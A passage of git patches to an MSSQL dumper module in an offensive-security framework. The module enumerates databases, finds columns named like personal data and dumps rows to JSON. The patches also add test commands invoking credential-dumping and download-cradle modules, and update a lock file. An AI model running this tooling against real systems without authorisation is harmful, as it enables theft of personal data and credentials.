context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in parsed_data.items())) - all_results.append({ - "database": db_name, - "table": table_name, - "row": {k: v.strip() for k, v in parsed_data.items()} - }) - except Exception as e: - context.log.fail(f"Failed to extract from {db_name}.{table_name}: {e}") + data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]") + for row in data: + parsed_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()} + if self.show_data: + context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in parsed_data.items())) + all_results.append({ + "database": db_name, + "table": table_name, + "row": {k: v.strip() for k, v in parsed_data.items()} + }) except Exception as e: context.log.fail(f"Failed to inspect table {table_name} in {db_name}: {e}") + + # If regex patterns are provided, scan all cell values in the table for matches if self.regex_patterns: try: full_data = connection.conn.sql_query(f"SELECT * FROM [{table_name}]") From a17137f0d9af9c7e50601cf24c31ce3e9d6a793a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:39:28 -0400 Subject: [PATCH 113/165] Replace exception handler with lastError check --- nxc/modules/mssql_dumper.py | 117 ++++++++++++++++++------------------ 1 file changed, 59 insertions(+), 58 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 1fd2928a52..63ace5e6ad 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -54,74 +54,75 @@ def pii(self): "zip", "zipcode"] def on_login(self, context, connection): - try: - all_results = [] - databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases") - for db in databases: - db_name = db.get("name") or db.get("", "") - if db_name.lower() in ("master", "model", "msdb", "tempdb"): - continue # skip system DBs + all_results = [] + databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases") + if connection.conn.lastError: + context.log.fail(f"Failed to retrieve databases: {connection.conn.lastError}") + return - context.log.display(f"Searching database: {db_name}") - connection.conn.sql_query(f"USE [{db_name}]") + for db in databases: + db_name = db.get("name") or db.get("", "") + if db_name.lower() in ("master", "model", "msdb", "tempdb"): + continue # skip system DBs - # get all tables in this DB - tables = connection.conn.sql_query("SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'") + context.log.display(f"Searching database: {db_name}") + connection.conn.sql_query(f"USE [{db_name}]") - for table in tables: - table_name = table.get("table_name", "") - try: - columns = connection.conn.sql_query(f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'") + # get all tables in this DB + tables = connection.conn.sql_query("SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'") + + for table in tables: + table_name = table.get("table_name", "") + try: + columns = connection.conn.sql_query(f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'") + + # find matching columns + search_keys = self.pii() + self.like_search + matched = [col for col in columns if any(key in col["column_name"].lower() for key in search_keys)] + if matched: + column_str = ", ".join(f"[{c['column_name']}]" for c in matched) + context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") + data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]") + for row in data: + parsed_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()} + if self.show_data: + context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in parsed_data.items())) + all_results.append({ + "database": db_name, + "table": table_name, + "row": {k: v.strip() for k, v in parsed_data.items()} + }) - # find matching columns - search_keys = self.pii() + self.like_search - matched = [col for col in columns if any(key in col["column_name"].lower() for key in search_keys)] - if matched: - column_str = ", ".join(f"[{c['column_name']}]" for c in matched) - context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") - data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]") - for row in data: - parsed_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()} - if self.show_data: - context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in parsed_data.items())) + except Exception as e: + context.log.fail(f"Failed to inspect table {table_name} in {db_name}: {e}") + + # If regex patterns are provided, scan all cell values in the table for matches + if self.regex_patterns: + try: + full_data = connection.conn.sql_query(f"SELECT * FROM [{table_name}]") + for row in full_data: + matched_cells = {} + for col, val in row.items(): + try: + val_str = val.decode("utf-8", "replace") if isinstance(val, bytes) else str(val) + except: + val_str = str(val) + for pattern in self.regex_patterns: + if pattern.search(val_str): + matched_cells[col] = val_str + break + if matched_cells: + match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items()) + context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}") all_results.append({ + "type": "regex_match", "database": db_name, "table": table_name, - "row": {k: v.strip() for k, v in parsed_data.items()} + "matched_cells": matched_cells }) - except Exception as e: - context.log.fail(f"Failed to inspect table {table_name} in {db_name}: {e}") - - # If regex patterns are provided, scan all cell values in the table for matches - if self.regex_patterns: - try: - full_data = connection.conn.sql_query(f"SELECT * FROM [{table_name}]") - for row in full_data: - matched_cells = {} - for col, val in row.items(): - try: - val_str = val.decode("utf-8", "replace") if isinstance(val, bytes) else str(val) - except: - val_str = str(val) - for pattern in self.regex_patterns: - if pattern.search(val_str): - matched_cells[col] = val_str - break - if matched_cells: - match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items()) - context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}") - all_results.append({ - "type": "regex_match", - "database": db_name, - "table": table_name, - "matched_cells": matched_cells - }) - except Exception as e: - context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}") + context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}") - except Exception as e: - context.log.fail(f"Query failed: {e}") if self.save and all_results: timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") hostname = connection.hostname or connection.host From dc3cd90e535104a674be42669525aeabc9edee33 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:45:48 -0400 Subject: [PATCH 114/165] Optimise code --- nxc/modules/mssql_dumper.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 63ace5e6ad..1c3e29d22b 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -84,13 +84,13 @@ def on_login(self, context, connection): context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}") data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]") for row in data: - parsed_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()} + decoded_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()} if self.show_data: - context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in parsed_data.items())) + context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in decoded_data.items())) all_results.append({ "database": db_name, "table": table_name, - "row": {k: v.strip() for k, v in parsed_data.items()} + "row": {k: v.strip() for k, v in decoded_data.items()} }) except Exception as e: @@ -103,14 +103,14 @@ def on_login(self, context, connection): for row in full_data: matched_cells = {} for col, val in row.items(): - try: - val_str = val.decode("utf-8", "replace") if isinstance(val, bytes) else str(val) - except: - val_str = str(val) + val_str = val.decode("utf-8", "replace").strip() if isinstance(val, bytes) else str(val).strip() + + # Check if any of the cells in the row match any of the regex patterns for pattern in self.regex_patterns: if pattern.search(val_str): matched_cells[col] = val_str break + if matched_cells: match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items()) context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}") From 02f521e70d939ae2f76e3adb81994c29b3b55e4b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:46:48 -0400 Subject: [PATCH 115/165] Standardize json output --- nxc/modules/mssql_dumper.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index 1c3e29d22b..d7dd943db7 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -88,6 +88,7 @@ def on_login(self, context, connection): if self.show_data: context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in decoded_data.items())) all_results.append({ + "type": "column_match", "database": db_name, "table": table_name, "row": {k: v.strip() for k, v in decoded_data.items()} From 11fe13e69c284d77e4799cdfea68cc822ce05012 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:54:29 -0400 Subject: [PATCH 116/165] Save output file into nxc folder and remove unnecessary parsing --- nxc/modules/mssql_dumper.py | 28 +++++++++------------------- 1 file changed, 9 insertions(+), 19 deletions(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index d7dd943db7..d3bee73ac2 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -1,7 +1,10 @@ import json import datetime +import os +from pathlib import Path import re from nxc.helpers.misc import CATEGORY +from nxc.paths import NXC_PATH class NXCModule: @@ -125,22 +128,9 @@ def on_login(self, context, connection): context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}") if self.save and all_results: - timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - hostname = connection.hostname or connection.host - filename = f"/tmp/{timestamp}-{hostname}.json" - try: - def sanitize(obj): - if isinstance(obj, dict): - return {k: sanitize(v) for k, v in obj.items()} - elif isinstance(obj, list): - return [sanitize(i) for i in obj] - elif isinstance(obj, bytes): - return obj.decode("utf-8", "replace") - else: - return obj - cleaned = sanitize(all_results) - with open(filename, "w") as f: - json.dump(cleaned, f, indent=2) - context.log.success(f"Data saved to {filename}") - except Exception as e: - context.log.fail(f"Failed to save results to file: {e}") + filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json" + file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve() + os.makedirs(file_path.parent, exist_ok=True) + with open(file_path, "w") as f: + json.dump(all_results, f, indent=2) + context.log.success(f"Data saved to {file_path}") From 62ae17dd0992e80f769a816f250901a719706207 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:56:48 -0400 Subject: [PATCH 117/165] Add SHOW_DATA options to regex check --- nxc/modules/mssql_dumper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index d3bee73ac2..5082437c5a 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -117,7 +117,8 @@ def on_login(self, context, connection): if matched_cells: match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items()) - context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}") + if self.show_data: + context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}") all_results.append({ "type": "regex_match", "database": db_name, From 9f5ba4f6bab8353fb58a4b662c2d57fd5ffbaa18 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 07:59:26 -0400 Subject: [PATCH 118/165] Update impacket --- poetry.lock | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/poetry.lock b/poetry.lock index 802c76979f..19d5edaf65 100644 --- a/poetry.lock +++ b/poetry.lock @@ -993,7 +993,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.14.0.dev0+20251203.31101.caba5fac" +version = "0.14.0.dev0+20260318.215953.2c77435e" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1011,14 +1011,13 @@ pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "*" pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} -setuptools = "*" six = "*" [package.source] type = "git" url = "https://github.com/fortra/impacket" reference = "HEAD" -resolved_reference = "caba5facdd3a01b5d0decc6daf5871839f22f792" +resolved_reference = "2c77435e4fe3f11fb07e13daf182e82aa83b149e" [[package]] name = "iniconfig" @@ -2187,7 +2186,7 @@ version = "75.8.1" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.9" -groups = ["main", "dev"] +groups = ["dev"] files = [ {file = "setuptools-75.8.1-py3-none-any.whl", hash = "sha256:3bc32c0b84c643299ca94e77f834730f126efd621de0cc1de64119e0e17dab1f"}, {file = "setuptools-75.8.1.tar.gz", hash = "sha256:65fb779a8f28895242923582eadca2337285f0891c2c9e160754df917c3d2530"}, From 7c64f922f616257ee218c224e489a11d14aa7a93 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Mar 2026 09:16:47 -0400 Subject: [PATCH 119/165] Add e2e tests --- tests/e2e_commands.txt | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index a574c906bc..3a7ca4ee55 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -286,6 +286,9 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o LIKE_SEARCH=test,secret +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o REGEX=secret SHOW_DATA=False ##### RDP netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS From 5d2b8fd2974e4989413fd7fb76cfa6a398b7e809 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 20 Mar 2026 07:23:53 -0400 Subject: [PATCH 120/165] Update dependencies --- poetry.lock | 2364 ++++++++++++++++++++++++++++----------------------- 1 file changed, 1279 insertions(+), 1085 deletions(-) diff --git a/poetry.lock b/poetry.lock index 19d5edaf65..eed885c55c 100644 --- a/poetry.lock +++ b/poetry.lock @@ -57,81 +57,80 @@ unicrypto = ">=0.0.11" [[package]] name = "aesedb" -version = "0.1.6" +version = "0.1.8" description = "NTDS parser toolkit" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "aesedb-0.1.6-py3-none-any.whl", hash = "sha256:9dad54792b7d792715fd95379516b27e3a31de318199ba7cff51e5d0c8739228"}, + {file = "aesedb-0.1.8-py3-none-any.whl", hash = "sha256:e6a3bc77ab9187d79cfeca27620ae21e331ebb66f5ea9254a136e3e29dd8b23a"}, ] [package.dependencies] -aiowinreg = ">=0.0.7" +aiowinreg = ">=0.0.13" colorama = "*" tqdm = "*" -unicrypto = ">=0.0.9" +unicrypto = ">=0.0.12" [[package]] name = "aiosmb" -version = "0.4.11" +version = "0.4.14" description = "Asynchronous SMB protocol implementation" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "aiosmb-0.4.11-py3-none-any.whl", hash = "sha256:a3b84893cded7aa1ebf048c0f5267024f2c030e5d918e4d8d8b86f8974a4011a"}, - {file = "aiosmb-0.4.11.tar.gz", hash = "sha256:6d66f51ed2354f76f206613eac0d63f37cfd9ed44be9f8a06594d410244273d7"}, + {file = "aiosmb-0.4.14-py3-none-any.whl", hash = "sha256:613e6ffc4f2c1d56e48e69943064946403a5c12d43198d9d556e4b04912c0f60"}, + {file = "aiosmb-0.4.14.tar.gz", hash = "sha256:4a8eaefac5fb10e1088eb61e8df58aff3fe61fd6f11ce72efd8a6317555f02c3"}, ] [package.dependencies] asn1crypto = "*" -asyauth = ">=0.0.16" -asysocks = ">=0.2.9" +asyauth = ">=0.0.23" +asysocks = ">=0.2.18" colorama = "*" cryptography = "*" prompt-toolkit = ">=3.0.2" six = "*" tqdm = "*" -unicrypto = ">=0.0.10" +unicrypto = ">=0.0.12" wcwidth = "*" -winacl = ">=0.1.8" +winacl = ">=0.1.9" [[package]] name = "aiowinreg" -version = "0.0.12" +version = "0.0.13" description = "Windows registry file reader" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "aiowinreg-0.0.12-py3-none-any.whl", hash = "sha256:a67be904045d8ecb4798fa691dd7688b20a6e47a524d093528f7e77d9eaf00e9"}, + {file = "aiowinreg-0.0.13-py3-none-any.whl", hash = "sha256:2e0809f05d62337cb2218d11dcf7ee08eb8c319382dd564293425f03cd332c9b"}, ] [package.dependencies] prompt-toolkit = ">=3.0.2" -winacl = ">=0.1.7" +winacl = ">=0.1.9" [[package]] name = "anyio" -version = "4.10.0" +version = "4.12.1" description = "High-level concurrency and networking framework on top of asyncio or Trio" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "anyio-4.10.0-py3-none-any.whl", hash = "sha256:60e474ac86736bbfd6f210f7a61218939c318f43f9972497381f1c5e930ed3d1"}, - {file = "anyio-4.10.0.tar.gz", hash = "sha256:3f3fae35c96039744587aa5b8371e7e8e603c0702999535961dd336026973ba6"}, + {file = "anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c"}, + {file = "anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703"}, ] [package.dependencies] exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} idna = ">=2.8" -sniffio = ">=1.1" typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} [package.extras] -trio = ["trio (>=0.26.1)"] +trio = ["trio (>=0.31.0) ; python_version < \"3.10\"", "trio (>=0.32.0) ; python_version >= \"3.10\""] [[package]] name = "arc4" @@ -170,14 +169,14 @@ files = [ [[package]] name = "argcomplete" -version = "3.6.2" +version = "3.6.3" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "argcomplete-3.6.2-py3-none-any.whl", hash = "sha256:65b3133a29ad53fb42c48cf5114752c7ab66c1c38544fdf6460f450c09b42591"}, - {file = "argcomplete-3.6.2.tar.gz", hash = "sha256:d0519b1bc867f5f4f4713c41ad0aba73a4a5f007449716b16f385f2166dc6adf"}, + {file = "argcomplete-3.6.3-py3-none-any.whl", hash = "sha256:f5007b3a600ccac5d25bbce33089211dfd49eab4a7718da3f10e3082525a92ce"}, + {file = "argcomplete-3.6.3.tar.gz", hash = "sha256:62e8ed4fd6a45864acc8235409461b72c9a28ee785a2011cc5eb78318786c89c"}, ] [package.extras] @@ -216,32 +215,32 @@ shell = ["prompt_toolkit"] [[package]] name = "asyauth" -version = "0.0.21" +version = "0.0.23" description = "Unified authentication library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "asyauth-0.0.21-py3-none-any.whl", hash = "sha256:1098ced8f4dfda74db535bc961e7667714154a440761821e26c8b637c95a2775"}, - {file = "asyauth-0.0.21.tar.gz", hash = "sha256:34cc10c5f8628ff2e25b5116dc98efc5ca45532f163ccd3f9147a3e02dd810eb"}, + {file = "asyauth-0.0.23-py3-none-any.whl", hash = "sha256:bbca62d10c4b0d2585103791d7451adda325c3d654114253638456fe84d39b0e"}, + {file = "asyauth-0.0.23.tar.gz", hash = "sha256:36f0384ddb2b625a10333363cafe190d6e9c9ed17fd07b3e2887641a3cc626f0"}, ] [package.dependencies] asn1crypto = ">=1.3.0" -asysocks = ">=0.2.11" -minikerberos = ">=0.4.4" -unicrypto = ">=0.0.10" +asysocks = ">=0.2.18" +minikerberos = ">=0.4.9" +unicrypto = ">=0.0.12" [[package]] name = "asysocks" -version = "0.2.13" +version = "0.2.18" description = "" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "asysocks-0.2.13-py3-none-any.whl", hash = "sha256:e32f478eac58566162d3e5af02ed6b6625317d9ddf83af22109bd13a24ef721a"}, - {file = "asysocks-0.2.13.tar.gz", hash = "sha256:44185b2c471e63b7293173967eef3b0f5e60ed5cc1b7650a30a9569e49ff25f8"}, + {file = "asysocks-0.2.18-py3-none-any.whl", hash = "sha256:a881536456d922a9fde44031aba262bc34ee39a9d14749ded1e8a4820602a37d"}, + {file = "asysocks-0.2.18.tar.gz", hash = "sha256:cc6196e82c8adc8b3ce2321dddf635500c760316da4b7cca321b532cbb3dfdf5"}, ] [package.dependencies] @@ -251,37 +250,75 @@ h11 = ">=0.14.0" [[package]] name = "bcrypt" -version = "4.2.1" +version = "5.0.0" description = "Modern password hashing for your software and your servers" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "bcrypt-4.2.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:1340411a0894b7d3ef562fb233e4b6ed58add185228650942bdc885362f32c17"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b1ee315739bc8387aa36ff127afc99120ee452924e0df517a8f3e4c0187a0f5f"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dbd0747208912b1e4ce730c6725cb56c07ac734b3629b60d4398f082ea718ad"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:aaa2e285be097050dba798d537b6efd9b698aa88eef52ec98d23dcd6d7cf6fea"}, - {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:76d3e352b32f4eeb34703370e370997065d28a561e4a18afe4fef07249cb4396"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:b7703ede632dc945ed1172d6f24e9f30f27b1b1a067f32f68bf169c5f08d0425"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:89df2aea2c43be1e1fa066df5f86c8ce822ab70a30e4c210968669565c0f4685"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:04e56e3fe8308a88b77e0afd20bec516f74aecf391cdd6e374f15cbed32783d6"}, - {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:cfdf3d7530c790432046c40cda41dfee8c83e29482e6a604f8930b9930e94139"}, - {file = "bcrypt-4.2.1-cp37-abi3-win32.whl", hash = "sha256:adadd36274510a01f33e6dc08f5824b97c9580583bd4487c564fc4617b328005"}, - {file = "bcrypt-4.2.1-cp37-abi3-win_amd64.whl", hash = "sha256:8c458cd103e6c5d1d85cf600e546a639f234964d0228909d8f8dbeebff82d526"}, - {file = "bcrypt-4.2.1-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:8ad2f4528cbf0febe80e5a3a57d7a74e6635e41af1ea5675282a33d769fba413"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:909faa1027900f2252a9ca5dfebd25fc0ef1417943824783d1c8418dd7d6df4a"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cde78d385d5e93ece5479a0a87f73cd6fa26b171c786a884f955e165032b262c"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:533e7f3bcf2f07caee7ad98124fab7499cb3333ba2274f7a36cf1daee7409d99"}, - {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:687cf30e6681eeda39548a93ce9bfbb300e48b4d445a43db4298d2474d2a1e54"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:041fa0155c9004eb98a232d54da05c0b41d4b8e66b6fc3cb71b4b3f6144ba837"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f85b1ffa09240c89aa2e1ae9f3b1c687104f7b2b9d2098da4e923f1b7082d331"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c6f5fa3775966cca251848d4d5393ab016b3afed251163c1436fefdec3b02c84"}, - {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:807261df60a8b1ccd13e6599c779014a362ae4e795f5c59747f60208daddd96d"}, - {file = "bcrypt-4.2.1-cp39-abi3-win32.whl", hash = "sha256:b588af02b89d9fad33e5f98f7838bf590d6d692df7153647724a7f20c186f6bf"}, - {file = "bcrypt-4.2.1-cp39-abi3-win_amd64.whl", hash = "sha256:e84e0e6f8e40a242b11bce56c313edc2be121cec3e0ec2d76fce01f6af33c07c"}, - {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:76132c176a6d9953cdc83c296aeaed65e1a708485fd55abf163e0d9f8f16ce0e"}, - {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e158009a54c4c8bc91d5e0da80920d048f918c61a581f0a63e4e93bb556d362f"}, - {file = "bcrypt-4.2.1.tar.gz", hash = "sha256:6765386e3ab87f569b276988742039baab087b2cdb01e809d74e74503c2faafe"}, + {file = "bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:200af71bc25f22006f4069060c88ed36f8aa4ff7f53e67ff04d2ab3f1e79a5b2"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:baade0a5657654c2984468efb7d6c110db87ea63ef5a4b54732e7e337253e44f"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:c58b56cdfb03202b3bcc9fd8daee8e8e9b6d7e3163aa97c631dfcfcc24d36c86"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bfd2a34de661f34d0bda43c3e4e79df586e4716ef401fe31ea39d69d581ef23"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:ed2e1365e31fc73f1825fa830f1c8f8917ca1b3ca6185773b349c20fd606cec2"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:83e787d7a84dbbfba6f250dd7a5efd689e935f03dd83b0f919d39349e1f23f83"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:137c5156524328a24b9fac1cb5db0ba618bc97d11970b39184c1d87dc4bf1746"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:38cac74101777a6a7d3b3e3cfefa57089b5ada650dce2baf0cbdd9d65db22a9e"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:d8d65b564ec849643d9f7ea05c6d9f0cd7ca23bdd4ac0c2dbef1104ab504543d"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:741449132f64b3524e95cd30e5cd3343006ce146088f074f31ab26b94e6c75ba"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:212139484ab3207b1f0c00633d3be92fef3c5f0af17cad155679d03ff2ee1e41"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win32.whl", hash = "sha256:9d52ed507c2488eddd6a95bccee4e808d3234fa78dd370e24bac65a21212b861"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f6984a24db30548fd39a44360532898c33528b74aedf81c26cf29c51ee47057e"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9fffdb387abe6aa775af36ef16f55e318dcda4194ddbf82007a6f21da29de8f5"}, + {file = "bcrypt-5.0.0-cp314-cp314t-macosx_10_12_universal2.whl", hash = "sha256:4870a52610537037adb382444fefd3706d96d663ac44cbb2f37e3919dca3d7ef"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48f753100931605686f74e27a7b49238122aa761a9aefe9373265b8b7aa43ea4"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f70aadb7a809305226daedf75d90379c397b094755a710d7014b8b117df1ebbf"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:744d3c6b164caa658adcb72cb8cc9ad9b4b75c7db507ab4bc2480474a51989da"}, + {file = 